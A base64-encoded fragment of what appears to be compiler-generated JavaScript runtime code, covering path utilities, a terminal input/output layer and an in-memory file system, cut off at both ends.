lx4MjBwYXRocz1BcnJheS5wcm90b3R5cGUuc2xpY2UuY2FsbChhcmd1bWVudHMsMCk7cmV0dXJuXHgyMFBBVEgubm9ybWFsaXplKHBhdGhzLmpvaW4oXHgyMi9ceDIyKSl9KSxqb2luMjooZnVuY3Rpb24obCxyKXtyZXR1cm5ceDIwUEFUSC5ub3JtYWxpemUobCtceDIyL1x4MjIrcil9KSxyZXNvbHZlOihmdW5jdGlvbigpe3Zhclx4MjByZXNvbHZlZFBhdGg9XHgyMlx4MjIscmVzb2x2ZWRBYnNvbHV0ZT1mYWxzZTtmb3IodmFyXHgyMGk9YXJndW1lbnRzLmxlbmd0aC0xO2k+PS0xJiYhcmVzb2x2ZWRBYnNvbHV0ZTtpLS0pe3Zhclx4MjBwYXRoPWk+PTA/YXJndW1lbnRzW2ldOkZTLmN3ZCgpO2lmKHR5cGVvZlx4MjBwYXRoIT09XHgyMnN0cmluZ1x4MjIpe3Rocm93XHgyMG5ld1x4MjBUeXBlRXJyb3IoXHgyMkFyZ3VtZW50c1x4MjB0b1x4MjBwYXRoLnJlc29sdmVceDIwbXVzdFx4MjBiZVx4MjBzdHJpbmdzXHgyMil9ZWxzZVx4MjBpZighcGF0aCl7cmV0dXJuXHgyMlx4MjJ9cmVzb2x2ZWRQYXRoPXBhdGgrXHgyMi9ceDIyK3Jlc29sdmVkUGF0aDtyZXNvbHZlZEFic29sdXRlPXBhdGguY2hhckF0KDApPT09XHgyMi9ceDIyfXJlc29sdmVkUGF0aD1QQVRILm5vcm1hbGl6ZUFycmF5KHJlc29sdmVkUGF0aC5zcGxpdChceDIyL1x4MjIpLmZpbHRlcigoZnVuY3Rpb24ocCl7cmV0dXJuISFwfSkpLCFyZXNvbHZlZEFic29sdXRlKS5qb2luKFx4MjIvXHgyMik7cmV0dXJuKHJlc29sdmVkQWJzb2x1dGU/XHgyMi9ceDIyOlx4MjJceDIyKStyZXNvbHZlZFBhdGh8fFx4MjIuXHgyMn0pLHJlbGF0aXZlOihmdW5jdGlvbihmcm9tLHRvKXtmcm9tPVBBVEgucmVzb2x2ZShmcm9tKS5zdWJzdHIoMSk7dG89UEFUSC5yZXNvbHZlKHRvKS5zdWJzdHIoMSk7ZnVuY3Rpb25ceDIwdHJpbShhcnIpe3Zhclx4MjBzdGFydD0wO2Zvcig7c3RhcnQ8YXJyLmxlbmd0aDtzdGFydCsrKXtpZihhcnJbc3RhcnRdIT09XHgyMlx4MjIpYnJlYWt9dmFyXHgyMGVuZD1hcnIubGVuZ3RoLTE7Zm9yKDtlbmQ+PTA7ZW5kLS0pe2lmKGFycltlbmRdIT09XHgyMlx4MjIpYnJlYWt9aWYoc3RhcnQ+ZW5kKXJldHVybltdO3JldHVyblx4MjBhcnIuc2xpY2Uoc3RhcnQsZW5kLXN0YXJ0KzEpfXZhclx4MjBmcm9tUGFydHM9dHJpbShmcm9tLnNwbGl0KFx4MjIvXHgyMikpO3Zhclx4MjB0b1BhcnRzPXRyaW0odG8uc3BsaXQoXHgyMi9ceDIyKSk7dmFyXHgyMGxlbmd0aD1NYXRoLm1pbihmcm9tUGFydHMubGVuZ3RoLHRvUGFydHMubGVuZ3RoKTt2YXJceDIwc2FtZVBhcnRzTGVuZ3RoPWxlbmd0aDtmb3IodmFyXHgyMGk9MDtpPGxlbmd0aDtpKyspe2lmKGZyb21QYXJ0c1tpXSE9PXRvUGFydHNbaV0pe3NhbWVQYXJ0c0xlbmd0aD1pO2JyZWFrfX12YXJceDIwb3V0cHV0UGFydHM9W107Zm9yKHZhclx4MjBpPXNhbWVQYXJ0c0xlbmd0aDtpPGZyb21QYXJ0cy5sZW5ndGg7aSsrKXtvdXRwdXRQYXJ0cy5wdXNoKFx4MjIuLlx4MjIpfW91dHB1dFBhcnRzPW91dHB1dFBhcnRzLmNvbmNhdCh0b1BhcnRzLnNsaWNlKHNhbWVQYXJ0c0xlbmd0aCkpO3JldHVyblx4MjBvdXRwdXRQYXJ0cy5qb2luKFx4MjIvXHgyMil9KX07dmFyXHgyMFRUWT17dHR5czpbXSxpbml0OihmdW5jdGlvbigpe30pLHNodXRkb3duOihmdW5jdGlvbigpe30pLHJlZ2lzdGVyOihmdW5jdGlvbihkZXYsb3BzKXtUVFkudHR5c1tkZXZdPXtpbnB1dDpbXSxvdXRwdXQ6W10sb3BzOm9wc307RlMucmVnaXN0ZXJEZXZpY2UoZGV2LFRUWS5zdHJlYW1fb3BzKX0pLHN0cmVhbV9vcHM6e29wZW46KGZ1bmN0aW9uKHN0cmVhbSl7dmFyXHgyMHR0eT1UVFkudHR5c1tzdHJlYW0ubm9kZS5yZGV2XTtpZighdHR5KXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9ERVYpfXN0cmVhbS50dHk9dHR5O3N0cmVhbS5zZWVrYWJsZT1mYWxzZX0pLGNsb3NlOihmdW5jdGlvbihzdHJlYW0pe3N0cmVhbS50dHkub3BzLmZsdXNoKHN0cmVhbS50dHkpfSksZmx1c2g6KGZ1bmN0aW9uKHN0cmVhbSl7c3RyZWFtLnR0eS5vcHMuZmx1c2goc3RyZWFtLnR0eSl9KSxyZWFkOihmdW5jdGlvbihzdHJlYW0sYnVmZmVyLG9mZnNldCxsZW5ndGgscG9zKXtpZighc3RyZWFtLnR0eXx8IXN0cmVhbS50dHkub3BzLmdldF9jaGFyKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTlhJTyl9dmFyXHgyMGJ5dGVzUmVhZD0wO2Zvcih2YXJceDIwaT0wO2k8bGVuZ3RoO2krKyl7dmFyXHgyMHJlc3VsdDt0cnl7cmVzdWx0PXN0cmVhbS50dHkub3BzLmdldF9jaGFyKHN0cmVhbS50dHkpfWNhdGNoKGUpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVJTyl9aWYocmVzdWx0PT09dW5kZWZpbmVkJiZieXRlc1JlYWQ9PT0wKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FQUdBSU4pfWlmKHJlc3VsdD09PW51bGx8fHJlc3VsdD09PXVuZGVmaW5lZClicmVhaztieXRlc1JlYWQrKztidWZmZXJbb2Zmc2V0K2ldPXJlc3VsdH1pZihieXRlc1JlYWQpe3N0cmVhbS5ub2RlLnRpbWVzdGFtcD1EYXRlLm5vdygpfXJldHVyblx4MjBieXRlc1JlYWR9KSx3cml0ZTooZnVuY3Rpb24oc3RyZWFtLGJ1ZmZlcixvZmZzZXQsbGVuZ3RoLHBvcyl7aWYoIXN0cmVhbS50dHl8fCFzdHJlYW0udHR5Lm9wcy5wdXRfY2hhcil7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRU5YSU8pfWZvcih2YXJceDIwaT0wO2k8bGVuZ3RoO2krKyl7dHJ5e3N0cmVhbS50dHkub3BzLnB1dF9jaGFyKHN0cmVhbS50dHksYnVmZmVyW29mZnNldCtpXSl9Y2F0Y2goZSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUlPKX19aWYobGVuZ3RoKXtzdHJlYW0ubm9kZS50aW1lc3RhbXA9RGF0ZS5ub3coKX1yZXR1cm5ceDIwaX0pfSxkZWZhdWx0X3R0eV9vcHM6e2dldF9jaGFyOihmdW5jdGlvbih0dHkpe2lmKCF0dHkuaW5wdXQubGVuZ3RoKXt2YXJceDIwcmVzdWx0PW51bGw7aWYoRU5WSVJPTk1FTlRfSVNfTk9ERSl7dmFyXHgyMEJVRlNJWkU9MjU2O3Zhclx4MjBidWY9bmV3XHgyMEJ1ZmZlcihCVUZTSVpFKTt2YXJceDIwYnl0ZXNSZWFkPTA7dmFyXHgyMGlzUG9zaXhQbGF0Zm9ybT1wcm9jZXNzLnBsYXRmb3JtIT1ceDIyd2luMzJceDIyO3Zhclx4MjBmZD1wcm9jZXNzLnN0ZGluLmZkO2lmKGlzUG9zaXhQbGF0Zm9ybSl7dmFyXHgyMHVzaW5nRGV2aWNlPWZhbHNlO3RyeXtmZD1mcy5vcGVuU3luYyhceDIyL2Rldi9zdGRpblx4MjIsXHgyMnJceDIyKTt1c2luZ0RldmljZT10cnVlfWNhdGNoKGUpe319dHJ5e2J5dGVzUmVhZD1mcy5yZWFkU3luYyhmZCxidWYsMCxCVUZTSVpFLG51bGwpfWNhdGNoKGUpe2lmKGUudG9TdHJpbmcoKS5pbmRleE9mKFx4MjJFT0ZceDIyKSE9LTEpYnl0ZXNSZWFkPTA7ZWxzZVx4MjB0aHJvd1x4MjBlfWlmKHVzaW5nRGV2aWNlKXtmcy5jbG9zZVN5bmMoZmQpfWlmKGJ5dGVzUmVhZD4wKXtyZXN1bHQ9YnVmLnNsaWNlKDAsYnl0ZXNSZWFkKS50b1N0cmluZyhceDIydXRmLThceDIyKX1lbHNle3Jlc3VsdD1udWxsfX1lbHNlXHgyMGlmKHR5cGVvZlx4MjB3aW5kb3chPVx4MjJ1bmRlZmluZWRceDIyJiZ0eXBlb2ZceDIwd2luZG93LnByb21wdD09XHgyMmZ1bmN0aW9uXHgyMil7cmVzdWx0PXdpbmRvdy5wcm9tcHQoXHgyMklucHV0Olx4MjBceDIyKTtpZihyZXN1bHQhPT1udWxsKXtyZXN1bHQrPVx4MjJceDVjblx4MjJ9fWVsc2VceDIwaWYodHlwZW9mXHgyMHJlYWRsaW5lPT1ceDIyZnVuY3Rpb25ceDIyKXtyZXN1bHQ9cmVhZGxpbmUoKTtpZihyZXN1bHQhPT1udWxsKXtyZXN1bHQrPVx4MjJceDVjblx4MjJ9fWlmKCFyZXN1bHQpe3JldHVyblx4MjBudWxsfXR0eS5pbnB1dD1pbnRBcnJheUZyb21TdHJpbmcocmVzdWx0LHRydWUpfXJldHVyblx4MjB0dHkuaW5wdXQuc2hpZnQoKX0pLHB1dF9jaGFyOihmdW5jdGlvbih0dHksdmFsKXtpZih2YWw9PT1udWxsfHx2YWw9PT0xMCl7TW9kdWxlW1x4MjJwcmludFx4MjJdKFVURjhBcnJheVRvU3RyaW5nKHR0eS5vdXRwdXQsMCkpO3R0eS5vdXRwdXQ9W119ZWxzZXtpZih2YWwhPTApdHR5Lm91dHB1dC5wdXNoKHZhbCl9fSksZmx1c2g6KGZ1bmN0aW9uKHR0eSl7aWYodHR5Lm91dHB1dCYmdHR5Lm91dHB1dC5sZW5ndGg+MCl7TW9kdWxlW1x4MjJwcmludFx4MjJdKFVURjhBcnJheVRvU3RyaW5nKHR0eS5vdXRwdXQsMCkpO3R0eS5vdXRwdXQ9W119fSl9LGRlZmF1bHRfdHR5MV9vcHM6e3B1dF9jaGFyOihmdW5jdGlvbih0dHksdmFsKXtpZih2YWw9PT1udWxsfHx2YWw9PT0xMCl7TW9kdWxlW1x4MjJwcmludEVyclx4MjJdKFVURjhBcnJheVRvU3RyaW5nKHR0eS5vdXRwdXQsMCkpO3R0eS5vdXRwdXQ9W119ZWxzZXtpZih2YWwhPTApdHR5Lm91dHB1dC5wdXNoKHZhbCl9fSksZmx1c2g6KGZ1bmN0aW9uKHR0eSl7aWYodHR5Lm91dHB1dCYmdHR5Lm91dHB1dC5sZW5ndGg+MCl7TW9kdWxlW1x4MjJwcmludEVyclx4MjJdKFVURjhBcnJheVRvU3RyaW5nKHR0eS5vdXRwdXQsMCkpO3R0eS5vdXRwdXQ9W119fSl9fTt2YXJceDIwTUVNRlM9e29wc190YWJsZTpudWxsLG1vdW50OihmdW5jdGlvbihtb3VudCl7cmV0dXJuXHgyME1FTUZTLmNyZWF0ZU5vZGUobnVsbCxceDIyL1x4MjIsMTYzODR8NTExLDApfSksY3JlYXRlTm9kZTooZnVuY3Rpb24ocGFyZW50LG5hbWUsbW9kZSxkZXYpe2lmKEZTLmlzQmxrZGV2KG1vZGUpfHxGUy5pc0ZJRk8obW9kZSkpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVQRVJNKX1pZighTUVNRlMub3BzX3RhYmxlKXtNRU1GUy5vcHNfdGFibGU9e2Rpcjp7bm9kZTp7Z2V0YXR0cjpNRU1GUy5ub2RlX29wcy5nZXRhdHRyLHNldGF0dHI6TUVNRlMubm9kZV9vcHMuc2V0YXR0cixsb29rdXA6TUVNRlMubm9kZV9vcHMubG9va3VwLG1rbm9kOk1FTUZTLm5vZGVfb3BzLm1rbm9kLHJlbmFtZTpNRU1GUy5ub2RlX29wcy5yZW5hbWUsdW5saW5rOk1FTUZTLm5vZGVfb3BzLnVubGluayxybWRpcjpNRU1GUy5ub2RlX29wcy5ybWRpcixyZWFkZGlyOk1FTUZTLm5vZGVfb3BzLnJlYWRkaXIsc3ltbGluazpNRU1GUy5ub2RlX29wcy5zeW1saW5rfSxzdHJlYW06e2xsc2VlazpNRU1GUy5zdHJlYW1fb3BzLmxsc2Vla319LGZpbGU6e25vZGU6e2dldGF0dHI6TUVNRlMubm9kZV9vcHMuZ2V0YXR0cixzZXRhdHRyOk1FTUZTLm5vZGVfb3BzLnNldGF0dHJ9LHN0cmVhbTp7bGxzZWVrOk1FTUZTLnN0cmVhbV9vcHMubGxzZWVrLHJlYWQ6TUVNRlMuc3RyZWFtX29wcy5yZWFkLHdyaXRlOk1FTUZTLnN0cmVhbV9vcHMud3JpdGUsYWxsb2NhdGU6TUVNRlMuc3RyZWFtX29wcy5hbGxvY2F0ZSxtbWFwOk1FTUZTLnN0cmVhbV9vcHMubW1hcCxtc3luYzpNRU1GUy5zdHJlYW1fb3BzLm1zeW5jfX0sbGluazp7bm9kZTp7Z2V0YXR0cjpNRU1GUy5ub2RlX29wcy5nZXRhdHRyLHNldGF0dHI6TUVNRlMubm9kZV9vcHMuc2V0YXR0cixyZWFkbGluazpNRU1GUy5ub2RlX29wcy5yZWFkbGlua30sc3RyZWFtOnt9fSxjaHJkZXY6e25vZGU6e2dldGF0dHI6TUVNRlMubm9kZV9vcHMuZ2V0YXR0cixzZXRhdHRyOk1FTUZTLm5vZGVfb3BzLnNldGF0dHJ9LHN0cmVhbTpGUy5jaHJkZXZfc3RyZWFtX29wc319fXZhclx4MjBub2RlPUZTLmNyZWF0ZU5vZGUocGFyZW50LG5hbWUsbW9kZSxkZXYpO2lmKEZTLmlzRGlyKG5vZGUubW9kZSkpe25vZGUubm9kZV9vcHM9TUVNRlMub3BzX3RhYmxlLmRpci5ub2RlO25vZGUuc3RyZWFtX29wcz1NRU1GUy5vcHNfdGFibGUuZGlyLnN0cmVhbTtub2RlLmNvbnRlbnRzPXt9fWVsc2VceDIwaWYoRlMuaXNGaWxlKG5vZGUubW9kZSkpe25vZGUubm9kZV9vcHM9TUVNRlMub3BzX3RhYmxlLmZpbGUubm9kZTtub2RlLnN0cmVhbV9vcHM9TUVNRlMub3BzX3RhYmxlLmZpbGUuc3RyZWFtO25vZGUudXNlZEJ5dGVzPTA7bm9kZS5jb250ZW50cz1udWxsfWVsc2VceDIwaWYoRlMuaXNMaW5rKG5vZGUubW9kZSkpe25vZGUubm9kZV9vcHM9TUVNRlMub3BzX3RhYmxlLmxpbmsubm9kZTtub2RlLnN0cmVhbV9vcHM9TUVNRlMub3BzX3RhYmxlLmxpbmsuc3RyZWFtfWVsc2VceDIwaWYoRlMuaXNDaHJkZXYobm9kZS5tb2RlKSl7bm9kZS5ub2RlX29wcz1NRU1GUy5vcHNfdGFibGUuY2hyZGV2Lm5vZGU7bm9kZS5zdHJlYW1fb3BzPU1FTUZTLm9wc190YWJsZS5jaHJkZXYuc3RyZWFtfW5vZGUudGltZXN0YW1wPURhdGUubm93KCk7aWYocGFyZW50KXtwYXJlbnQuY29udGVudHNbbmFtZV09bm9kZX1yZXR1cm5ceDIwbm9kZX0pLGdldEZpbGVEYXRhQXNSZWd1bGFyQXJyYXk6KGZ1bmN0aW9uKG5vZGUpe2lmKG5vZGUuY29udGVudHMmJm5vZGUuY29udGVudHMuc3ViYXJyYXkpe3Zhclx4MjBhcnI9W107Zm9yKHZhclx4MjBpPTA7aTxub2RlLnVzZWRCeXRlczsrK2kpYXJyLnB1c2gobm9kZS5jb250ZW50c1tpXSk7cmV0dXJuXHgyMGFycn1yZXR1cm5ceDIwbm9kZS5jb250ZW50c30pLGdldEZpbGVEYXRhQXNUeXBlZEFycmF5OihmdW5jdGlvbihub2RlKXtpZighbm9kZS5jb250ZW50cylyZXR1cm5ceDIwbmV3XHgyMFVpbnQ4QXJyYXk7aWYobm9kZS5jb250ZW50cy5zdWJhcnJheSlyZXR1cm5ceDIwbm9kZS5jb250ZW50cy5zdWJhcnJheSgwLG5vZGUudXNlZEJ5dGVzKTtyZXR1cm5ceDIwbmV3XHgyMFVpbnQ4QXJyYXkobm9kZS5jb250ZW50cyl9KSxleHBhbmRGaWxlU3RvcmFnZTooZnVuY3Rpb24obm9kZSxuZXdDYXBhY2l0eSl7aWYobm9kZS5jb250ZW50cyYmbm9kZS5jb250ZW50cy5zdWJhcnJheSYmbmV3Q2FwYWNpdHk+bm9kZS5jb250ZW50cy5sZW5ndGgpe25vZGUuY29udGVudHM9TUVNRlMuZ2V0RmlsZURhdGFBc1JlZ3VsYXJBcnJheShub2RlKTtub2RlLnVzZWRCeXRlcz1ub2RlLmNvbnRlbnRzLmxlbmd0aH1pZighbm9kZS5jb250ZW50c3x8bm9kZS5jb250ZW50cy5zdWJhcnJheSl7dmFyXHgyMHByZXZDYXBhY2l0eT1ub2RlLmNvbnRlbnRzP25vZGUuY29udGVudHMubGVuZ3RoOjA7aWYocHJldkNhcGFjaXR5Pj1uZXdDYXBhY2l0eSlyZXR1cm47dmFyXHgyMENBUEFDSVRZX0RPVUJMSU5HX01BWD0xMDI0KjEwMjQ7bmV3Q2FwYWNpdHk9TWF0aC5tYXgobmV3Q2FwYWNpdHkscHJldkNhcGFjaXR5KihwcmV2Q2FwYWNpdHk8Q0FQQUNJVFlfRE9VQkxJTkdfTUFYPzI6MS4xMjUpfDApO2lmKHByZXZDYXBhY2l0eSE9MCluZXdDYXBhY2l0eT1NYXRoLm1heChuZXdDYXBhY2l0eSwyNTYpO3Zhclx4MjBvbGRDb250ZW50cz1ub2RlLmNvbnRlbnRzO25vZGUuY29udGVudHM9bmV3XHgyMFVpbnQ4QXJyYXkobmV3Q2FwYWNpdHkpO2lmKG5vZGUudXNlZEJ5dGVzPjApbm9kZS5jb250ZW50cy5zZXQob2xkQ29udGVudHMuc3ViYXJyYXkoMCxub2RlLnVzZWRCeXRlcyksMCk7cmV0dXJufWlmKCFub2RlLmNvbnRlbnRzJiZuZXdDYXBhY2l0eT4wKW5vZGUuY29udGVudHM9W107d2hpbGUobm9kZS5jb250ZW50cy5sZW5ndGg8bmV3Q2FwYWNpdHkpbm9kZS5jb250ZW50cy5wdXNoKDApfSkscmVzaXplRmlsZVN0b3JhZ2U6KGZ1bmN0aW9uKG5vZGUsbmV3U2l6ZSl7aWYobm9kZS51c2VkQnl0ZXM9PW5ld1NpemUpcmV0dXJuO2lmKG5ld1NpemU9PTApe25vZGUuY29udGVudHM9bnVsbDtub2RlLnVzZWRCeXRlcz0wO3JldHVybn1pZighbm9kZS5jb250ZW50c3x8bm9kZS5jb250ZW50cy5zdWJhcnJheSl7dmFyXHgyMG9sZENvbnRlbnRzPW5vZGUuY29udGVudHM7bm9kZS5jb250ZW50cz1uZXdceDIwVWludDhBcnJheShuZXdceDIwQXJyYXlCdWZmZXIobmV3U2l6ZSkpO2lmKG9sZENvbnRlbnRzKXtub2RlLmNvbnRlbnRzLnNldChvbGRDb250ZW50cy5zdWJhcnJheSgwLE1hdGgubWluKG5ld1NpemUsbm9kZS51c2VkQnl0ZXMpKSl9bm9kZS51c2VkQnl0ZXM9bmV3U2l6ZTtyZXR1cm59aWYoIW5vZGUuY29udGVudHMpbm9kZS5jb250ZW50cz1bXTtpZihub2RlLmNvbnRlbnRzLmxlbmd0aD5uZXdTaXplKW5vZGUuY29udGVudHMubGVuZ3RoPW5ld1NpemU7ZWxzZVx4MjB3aGlsZShub2RlLmNvbnRlbnRzLmxlbmd0aDxuZXdTaXplKW5vZGUuY29udGVudHMucHVzaCgwKTtub2RlLnVzZWRCeXRlcz1uZXdTaXplfSksbm9kZV9vcHM6e2dldGF0dHI6KGZ1bmN0aW9uKG5vZGUpe3Zhclx4MjBhdHRyPXt9O2F0dHIuZGV2PUZTLmlzQ2hyZGV2KG5vZGUubW9kZSk/bm9kZS5pZDoxO2F0dHIuaW5vPW5vZGUuaWQ7YXR0ci5tb2RlPW5vZGUubW9kZTthdHRyLm5saW5rPTE7YXR0ci51aWQ9MDthdHRyLmdpZD0wO2F0dHIucmRldj1ub2RlLnJkZXY7aWYoRlMuaXNEaXIobm9kZS5tb2RlKSl7YXR0ci5zaXplPTQwOTZ9ZWxzZVx4MjBpZihGUy5pc0ZpbGUobm9kZS5tb2RlKSl7YXR0ci5zaXplPW5vZGUudXNlZEJ5dGVzfWVsc2VceDIwaWYoRlMuaXNMaW5rKG5vZGUubW9kZSkpe2F0dHIuc2l6ZT1ub2RlLmxpbmsubGVuZ3RofWVsc2V7YXR0ci5zaXplPTB9YXR0ci5hdGltZT1uZXdceDIwRGF0ZShub2RlLnRpbWVzdGFtcCk7YXR0ci5tdGltZT1uZXdceDIwRGF0ZShub2RlLnRpbWVzdGFtcCk7YXR0ci5jdGltZT1uZXdceDIwRGF0ZShub2RlLnRpbWVzdGFtcCk7YXR0ci5ibGtzaXplPTQwOTY7YXR0ci5ibG9ja3M9TWF0aC5jZWlsKGF0dHIuc2l6ZS9hdHRyLmJsa3NpemUpO3JldHVyblx4MjBhdHRyfSksc2V0YXR0cjooZnVuY3Rpb24obm9kZSxhdHRyKXtpZihhdHRyLm1vZGUhPT11bmRlZmluZWQpe25vZGUubW9kZT1hdHRyLm1vZGV9aWYoYXR0ci50aW1lc3RhbXAhPT11bmRlZmluZWQpe25vZGUudGltZXN0YW1wPWF0dHIudGltZXN0YW1wfWlmKGF0dHIuc2l6ZSE9PXVuZGVmaW5lZCl7TUVNRlMucmVzaXplRmlsZVN0b3JhZ2Uobm9kZSxhdHRyLnNpemUpfX0pLGxvb2t1cDooZnVuY3Rpb24ocGFyZW50LG5hbWUpe3Rocm93XHgyMEZTLmdlbmVyaWNFcnJvcnNbRVJSTk9fQ09ERVMuRU5PRU5UXX0pLG1rbm9kOihmdW5jdGlvbihwYXJlbnQsbmFtZSxtb2RlLGRldil7cmV0dXJuXHgyME1FTUZTLmNyZWF0ZU5vZGUocGFyZW50LG5hbWUsbW9kZSxkZXYpfSkscmVuYW1lOihmdW5jdGlvbihvbGRfbm9kZSxuZXdfZGlyLG5ld19uYW1lKXtpZihGUy5pc0RpcihvbGRfbm9kZS5tb2RlKSl7dmFyXHgyMG5ld19ub2RlO3RyeXtuZXdfbm9kZT1GUy5sb29rdXBOb2RlKG5ld19kaXIsbmV3X25hbWUpfWNhdGNoKGUpe31pZihuZXdfbm9kZSl7Zm9yKHZhclx4MjBpXHgyMGluXHgyMG5ld19ub2RlLmNvbnRlbnRzKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9URU1QVFkpfX19ZGVsZXRlXHgyMG9sZF9ub2RlLnBhcmVudC5jb250ZW50c1tvbGRfbm9kZS5uYW1lXTtvbGRfbm9kZS5uYW1lPW5ld19uYW1lO25ld19kaXIuY29udGVudHNbbmV3X25hbWVdPW9sZF9ub2RlO29sZF9ub2RlLnBhcmVudD1uZXdfZGlyfSksdW5saW5rOihmdW5jdGlvbihwYXJlbnQsbmFtZSl7ZGVsZXRlXHgyMHBhcmVudC5jb250ZW50c1tuYW1lXX0pLHJtZGlyOihmdW5jdGlvbihwYXJlbnQsbmFtZSl7dmFyXHgyMG5vZGU9RlMubG9va3VwTm9kZShwYXJlbnQsbmFtZSk7Zm9yKHZhclx4MjBpXHgyMGluXHgyMG5vZGUuY29udGVudHMpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVOT1RFTVBUWSl9ZGVsZXRlXHgyMHBhcmVudC5jb250ZW50c1tuYW1lXX0pLHJlYWRkaXI6KGZ1bmN0aW9uKG5vZGUpe3Zhclx4MjBlbnRyaWVzPVtceDIyLlx4MjIsXHgyMi4uXHgyMl07Zm9yKHZhclx4MjBrZXlceDIwaW5ceDIwbm9kZS5jb250ZW50cyl7aWYoIW5vZGUuY29udGVudHMuaGFzT3duUHJvcGVydHkoa2V5KSl7Y29udGludWV9ZW50cmllcy5wdXNoKGtleSl9cmV0dXJuXHgyMGVudHJpZXN9KSxzeW1saW5rOihmdW5jdGlvbihwYXJlbnQsbmV3bmFtZSxvbGRwYXRoKXt2YXJceDIwbm9kZT1NRU1GUy5jcmVhdGVOb2RlKHBhcmVudCxuZXduYW1lLDUxMXw0MDk2MCwwKTtub2RlLmxpbms9b2xkcGF0aDtyZXR1cm5ceDIwbm9kZX0pLHJlYWRsaW5rOihmdW5jdGlvbihub2RlKXtpZighRlMuaXNMaW5rKG5vZGUubW9kZSkpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVJTlZBTCl9cmV0dXJuXHgyMG5vZGUubGlua30pfSxzdHJlYW1fb3BzOntyZWFkOihmdW5jdGlvbihzdHJlYW0sYnVmZmVyLG9mZnNldCxsZW5ndGgscG9zaXRpb24pe3Zhclx4MjBjb250ZW50cz1zdHJlYW0ubm9kZS5jb250ZW50cztpZihwb3NpdGlvbj49c3RyZWFtLm5vZGUudXNlZEJ5dGVzKXJldHVyblx4MjAwO3Zhclx4MjBzaXplPU1hdGgubWluKHN0cmVhbS5ub2RlLnVzZWRCeXRlcy1wb3NpdGlvbixsZW5ndGgpO2Fzc2VydChzaXplPj0wKTtpZihzaXplPjgmJmNvbnRlbnRzLnN1YmFycmF5KXtidWZmZXIuc2V0KGNvbnRlbnRzLnN1YmFycmF5KHBvc2l0aW9uLHBvc2l0aW9uK3NpemUpLG9mZnNldCl9ZWxzZXtmb3IodmFyXHgyMGk9MDtpPHNpemU7aSsrKWJ1ZmZlcltvZmZzZXQraV09Y29udGVudHNbcG9zaXRpb24raV19cmV0dXJuXHgyMHNpemV9KSx3cml0ZTooZnVuY3Rpb24oc3RyZWFtLGJ1ZmZlcixvZmZzZXQsbGVuZ3RoLHBvc2l0aW9uLGNhbk93bil7aWYoIWxlbmd0aClyZXR1cm5ceDIwMDt2YXJceDIwbm9kZT1zdHJlYW0ubm9kZTtub2RlLnRpbWVzdGFtcD1EYXRlLm5vdygpO2lmKGJ1ZmZlci5zdWJhcnJheSYmKCFub2RlLmNvbnRlbnRzfHxub2RlLmNvbnRlbnRzLnN1YmFycmF5KSl7aWYoY2FuT3duKXtub2RlLmNvbnRlbnRzPWJ1ZmZlci5zdWJhcnJheShvZmZzZXQsb2Zmc2V0K2xlbmd0aCk7bm9kZS51c2VkQnl0ZXM9bGVuZ3RoO3JldHVyblx4MjBsZW5ndGh9ZWxzZVx4MjBpZihub2RlLnVzZWRCeXRlcz09PTAmJnBvc2l0aW9uPT09MCl7bm9kZS5jb250ZW50cz1uZXdceDIwVWludDhBcnJheShidWZmZXIuc3ViYXJyYXkob2Zmc2V0LG9mZnNldCtsZW5ndGgpKTtub2RlLnVzZWRCeXRlcz1sZW5ndGg7cmV0dXJuXHgyMGxlbmd0aH1lbHNlXHgyMGlmKHBvc2l0aW9uK2xlbmd0aDw9bm9kZS51c2VkQnl0ZXMpe25vZGUuY29udGVudHMuc2V0KGJ1ZmZlci5zdWJhcnJheShvZmZzZXQsb2Zmc2V0K2xlbmd0aCkscG9zaXRpb24pO3JldHVyblx4MjBsZW5ndGh9fU1FTUZTLmV4cGFuZEZpbGVTdG9yYWdlKG5vZGUscG9zaXRpb24rbGVuZ3RoKTtpZihub2RlLmNvbnRlbnRzLnN1YmFycmF5JiZidWZmZXIuc3ViYXJyYXkpbm9kZS5jb250ZW50cy5zZXQoYnVmZmVyLnN1YmFycmF5KG9mZnNldCxvZmZzZXQrbGVuZ3RoKSxwb3NpdGlvbik7ZWxzZXtmb3IodmFyXHgyMGk9MDtpPGxlbmd0aDtpKyspe25vZGUuY29udGVudHNbcG9zaXRpb24raV09YnVmZmVyW29mZnNldCtpXX19bm9kZS51c2VkQnl0ZXM9TWF0aC5tYXgobm9kZS51c2VkQnl0ZXMscG9zaXRpb24rbGVuZ3RoKTtyZXR1cm5ceDIwbGVuZ3RofSksbGxzZWVrOihmdW5jdGlvbihzdHJlYW0sb2Zmc2V0LHdoZW5jZSl7dmFyXHgyMHBvc2l0aW9uPW9mZnNldDtpZih3aGVuY2U9PT0xKXtwb3NpdGlvbis9c3RyZWFtLnBvc2l0aW9ufWVsc2VceDIwaWYod2hlbmNlPT09Mil7aWYoRlMuaXNGaWxlKHN0cmVhbS5ub2RlLm1vZGUpKXtwb3NpdGlvbis9c3RyZWFtLm5vZGUudXNlZEJ5dGVzfX1pZihwb3NpdGlvbjwwKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FSU5WQUwpfXJldHVyblx4MjBwb3NpdGlvbn0pLGFsbG9jYXRlOihmdW5jdGlvbihzdHJlYW0sb2Zmc2V0LGxlbmd0aCl7TUVNRlMuZXhwYW5kRmlsZVN0b3JhZ2Uoc3RyZWFtLm5vZGUsb2Zmc2V0K2xlbmd0aCk7c3RyZWFtLm5vZGUudXNlZEJ5dGVzPU1hdGgubWF4KHN0cmVhbS5ub2RlLnVzZWRCeXRlcyxvZmZzZXQrbGVu